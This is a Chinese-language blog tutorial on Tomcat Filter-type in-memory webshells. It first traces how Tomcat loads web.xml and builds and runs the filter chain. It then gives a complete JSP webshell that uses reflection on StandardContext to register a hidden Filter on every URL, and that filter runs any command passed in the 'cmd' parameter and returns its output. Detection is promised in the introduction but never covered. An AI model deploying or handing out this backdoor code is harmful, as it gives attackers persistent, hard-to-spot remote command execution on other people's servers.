前言
随着这些年来各种安全防护手段的出现,想要上传一个文件类型的webshell从而拿到权限更难上加难。但最近横空出世的内存马因为隐蔽性高,逐渐被大众所知。
内存马目前分为三大类:
servlet-api类
- Filter型
- Servlet型
- Listener型
spring类
Java Instrumentation类
此文将以servlet-api类的Filter类内存马开篇,详细讲解其原理、利用与检测。
环境搭建
新建一个JAVA项目





接下来就是哪里有IDEA提示就选哪里,比如下面这样的,我们直接按他的提示选fix

接下来在Project Structure里面把Tomcat的包引进来

为了方便我全部引进来了
接下来在src文件夹里创建一个TestServlet Class
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 
 public class TestServlet extends HttpServlet {
 @Override
 protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
 super.doGet(req, resp);
 }
 
 @Override
 protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
 super.doPost(req, resp);
 }
 }
 
 | 
再创建一个TestFilter Class
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | import javax.servlet.*;import java.io.IOException;
 
 public class TestFilter implements Filter {
 @Override
 public void init(FilterConfig filterConfig) throws ServletException {
 System.out.println("这是初始化信息");
 }
 
 @Override
 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
 
 
 filterChain.doFilter(servletRequest,servletResponse);
 }
 
 @Override
 public void destroy() {
 
 }
 }
 
 | 
WEB-INF/web.xml配置:需要配置Filter一些信息 - 这个配置非常重要,理解它有助于我们的分析
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | <?xml version="1.0" encoding="UTF-8"?><web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
 version="4.0">
 
 <filter>
 <filter-name>testFilter</filter-name>
 <filter-class>TestFilter</filter-class>
 </filter>
 <filter-mapping>
 <filter-name>testFilter</filter-name>
 <url-pattern>/test</url-pattern>
 </filter-mapping>
 </web-app>
 
 | 
运行一下看看:
http://localhost:8080/testEnv_war_exploded/test
控制台出现信息,就这样Filter就设置成功了。

Tomcat Filter流程
web.xml的解析&Context从何而来?
web.xml中存放着filter相关的配置,它必然会被解析读取。web.xml文件里解析出来的内容由Tomcat中的WebXml类来存储。
在监听到Lifecycle.CONFIGURE_START_EVENT事件后,WebXml将自身的存储的信息注入到Context中。
具体流程如下:
- ContextConfig监听到Lifecycle.CONFIGURE_START_EVENT事件发生
- ContextConfig调用自身的configureStart()方法, 再调用webConfig(),将/web.xml解析保存到web.xml中,再调用ContextConfig.configureContext(webxml)将webxml中储存的信息注入到context中。
来看代码:
 监听到事件后call到webConfig()方法,在webConfig中解析web.xml的内容、创建WebXml实例。
监听到事件后call到webConfig()方法,在webConfig中解析web.xml的内容、创建WebXml实例。

随后用ConfigureContext.configureContext(webXml)将webXml的信息传入当前context中。

这样一个context就配置好了。
Filter是如何从context中被添加进filterChain的?
org.apache.catalina.core.StandardWrapperValve的invoke()call到**createFilterChain()**,
 创建filterChain,
创建filterChain,
我们可以看到在createFilterChain()方法里,我们获取到了context,从而从这个context中获取到filterMaps

FilterMaps中存放的就是我们web.xml中写到的<filter-maping></filter-mapping>
接着匹配当前访问的URL和filterMap中的URL是否一样(第一个if),如果匹配,将从filterConfig中寻找该filterMap中对应的名字,如果找到了,就将该Filter的filterConfig添加进filterChain里。

我们继续跟踪到addFilter(),最后filterConfig会被放入filters数组当中。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | void addFilter(ApplicationFilterConfig filterConfig) {ApplicationFilterConfig[] newFilters = this.filters;
 int var3 = newFilters.length;
 
 for(int var4 = 0; var4 < var3; ++var4) {
 ApplicationFilterConfig filter = newFilters[var4];
 if (filter == filterConfig) {
 return;
 }
 }
 
 if (this.n == this.filters.length) {
 newFilters = new ApplicationFilterConfig[this.n + 10];
 System.arraycopy(this.filters, 0, newFilters, 0, this.n);
 this.filters = newFilters;
 }
 
 this.filters[this.n++] = filterConfig;
 }
 
 | 
Filter的执行
现在filters数组(也就是filterChain)已经被组装完毕了,它又该如何被执行呢?
现在继续回到StandardWrapperValve.invoke()
 很明显,filterChain中的filter被执行了 -
很明显,filterChain中的filter被执行了 - doFilter()
跟进去看看:ApplicationFilterChain.doFilter():调用了internalDoFilter()

继续跟:

然后调用到了我们写在TestFilter.java里面的doFilter()
| 12
 3
 4
 5
 6
 
 | @Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
 
 
 filterChain.doFilter(servletRequest,servletResponse);
 }
 
 | 
至此,我们整个filter的执行就到此结束。
总结
我们来总结一下涉及到的一些Class,这里都以英文字面意思来理解比较容易。
Filter的配置是由我们手动写在web.xml文件里的,所以需要把配置取出来,封装进这个web程序的context里面,以便其它地方调用。
可以看出来,一个filter被执行的条件:
- 在context#filterMaps中,有和当前访问URL相匹配的url-pattern
| 12
 3
 4
 
 | <filter-mapping><filter-name>testFilter</filter-name>
 <url-pattern>/test</url-pattern>
 </filter-mapping>
 
 | 
| 12
 3
 4
 
 | <filter><filter-name>testFilter</filter-name>
 <filter-class>TestFilter</filter-class>
 </filter>
 
 | 
假设我们要自己构造一个这样的符合条件的filter应该怎么做呢?
Filter内存马的运用
构造内存马思路
- 构造一个含恶意代码的filter
- 用filterDef将filter进行封装(filter-name,filter-class)
- 将构造的filterDef添加到filterDefs和filterConfigs中
- 创建一个新的filterMap将URL和filter进行绑定,并添加到filterMaps中
要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去。
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。
开始构造内存马
获取context
前面说到,FilterMaps是放在context的,所以需要先得到context.
当我们访问一个jsp文件的时候,该jsp文件能够接收到request,所以我们可以获取到该request的servletContext
观察一下servletContext的内容:

我们发现实际上内容都是在StandardContext里面的 - servletContext的context是ApplicationContext类,ApplicationContext是StandardContext类。
可以一层一层获取:最终获取到StandardContext
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | ServletContext servletContext = request.getSession().getServletContext();
 Field appctx = servletContext.getClass().getDeclaredField("context");
 appctx.setAccessible(true);
 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
 Field stdctx = applicationContext.getClass().getDeclaredField("context");
 stdctx.setAccessible(true);
 StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
 | 
其它的context获取方法:
从线程中获取StandardContext 如果没有request对象的话可以从当前线程中获取 https://zhuanlan.zhihu.com/p/114625962
从MBean中获取 https://scriptboy.cn/p/tomcat-filter-inject/
修改context&创建恶意Filter
StandardContext中可以看到:其包含了我们需要用到的filterConfigs, filterDefs, filterMaps

按照之前的思路:
- 构造一个含恶意代码的filter
- 用filterDef将filter进行封装(filter-name,filter-class)
- 将构造的filterDef添加到filterDefs和filterConfigs中
- 创建一个新的filterMap将URL和filter进行绑定,并添加到filterMaps中
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 
 | final String name = "leihehe";
 Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
 Configs.setAccessible(true);
 Map filterConfigs = (Map) Configs.get(standardContext);
 
 
 if (filterConfigs.get(name) == null){
 
 Filter filter = new Filter() {
 @Override
 public void init(FilterConfig filterConfig) throws ServletException {
 }
 
 @Override
 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
 
 HttpServletRequest req = (HttpServletRequest) servletRequest;
 if (req.getParameter("cmd") != null){
 byte[] bytes = new byte[1024];
 Process process = new ProcessBuilder(req.getParameter("cmd")).start();
 
 int len = process.getInputStream().read(bytes);
 servletResponse.getWriter().write(new String(bytes,0,len));
 process.destroy();
 return;
 }
 filterChain.doFilter(servletRequest,servletResponse);
 }
 
 @Override
 public void destroy() {
 
 }
 
 };
 
 
 
 
 FilterDef filterDef = new FilterDef();
 filterDef.setFilter(filter);
 filterDef.setFilterName(name);
 filterDef.setFilterClass(filter.getClass().getName());
 
 
 standardContext.addFilterDef(filterDef);
 
 
 
 
 
 FilterMap filterMap = new FilterMap();
 filterMap.addURLPattern("/*");
 filterMap.setFilterName(name);
 filterMap.setDispatcher(DispatcherType.REQUEST.name());
 
 
 
 
 standardContext.addFilterMapBefore(filterMap);
 
 
 
 
 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
 constructor.setAccessible(true);
 ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
 
 
 
 
 filterConfigs.put(name,filterConfig);
 out.print("Inject Success !");
 }
 
 | 
最终内存马
leihehe.jsp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 
 | <%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="java.lang.reflect.Field" %>
 <%@ page import="org.apache.catalina.core.StandardContext" %>
 <%@ page import="java.util.Map" %>
 <%@ page import="java.io.IOException" %>
 <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
 <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
 <%@ page import="java.lang.reflect.Constructor" %>
 <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
 <%@ page import="org.apache.catalina.Context" %>
 <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
 <%
 
 ServletContext servletContext = request.getSession().getServletContext();
 
 Field appctx = servletContext.getClass().getDeclaredField("context");
 appctx.setAccessible(true);
 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
 Field stdctx = applicationContext.getClass().getDeclaredField("context");
 stdctx.setAccessible(true);
 StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
 final String name = "leihehe";
 
 Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
 Configs.setAccessible(true);
 Map filterConfigs = (Map) Configs.get(standardContext);
 
 
 if (filterConfigs.get(name) == null){
 
 Filter filter = new Filter() {
 @Override
 public void init(FilterConfig filterConfig) throws ServletException {
 }
 
 @Override
 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
 
 HttpServletRequest req = (HttpServletRequest) servletRequest;
 if (req.getParameter("cmd") != null){
 byte[] bytes = new byte[1024];
 Process process = new ProcessBuilder(req.getParameter("cmd")).start();
 
 int len = process.getInputStream().read(bytes);
 servletResponse.getWriter().write(new String(bytes,0,len));
 process.destroy();
 return;
 }
 filterChain.doFilter(servletRequest,servletResponse);
 }
 
 @Override
 public void destroy() {
 
 }
 
 };
 
 
 
 
 FilterDef filterDef = new FilterDef();
 filterDef.setFilter(filter);
 filterDef.setFilterName(name);
 filterDef.setFilterClass(filter.getClass().getName());
 
 
 standardContext.addFilterDef(filterDef);
 
 
 
 
 
 FilterMap filterMap = new FilterMap();
 filterMap.addURLPattern("/*");
 filterMap.setFilterName(name);
 filterMap.setDispatcher(DispatcherType.REQUEST.name());
 
 
 
 
 standardContext.addFilterMapBefore(filterMap);
 
 
 
 
 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
 constructor.setAccessible(true);
 ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
 
 
 
 
 filterConfigs.put(name,filterConfig);
 out.print("Inject Success !");
 }
 %>
 
 | 
Windows下测试结果:


总结
该Filter内存马在服务器重启后会失效(StandardContext在tomcat的生命周期内保存),且该方法仍需要上传jsp文件才能使用该内存马 - 我们其实可以通过反序列化来实现动态注册filter,在之后的篇章将会涉及。
Reference
https://www.yuque.com/tianxiadamutou/zcfd4v/kd35na
https://blog.csdn.net/lqzkcx3/article/details/79357144
https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w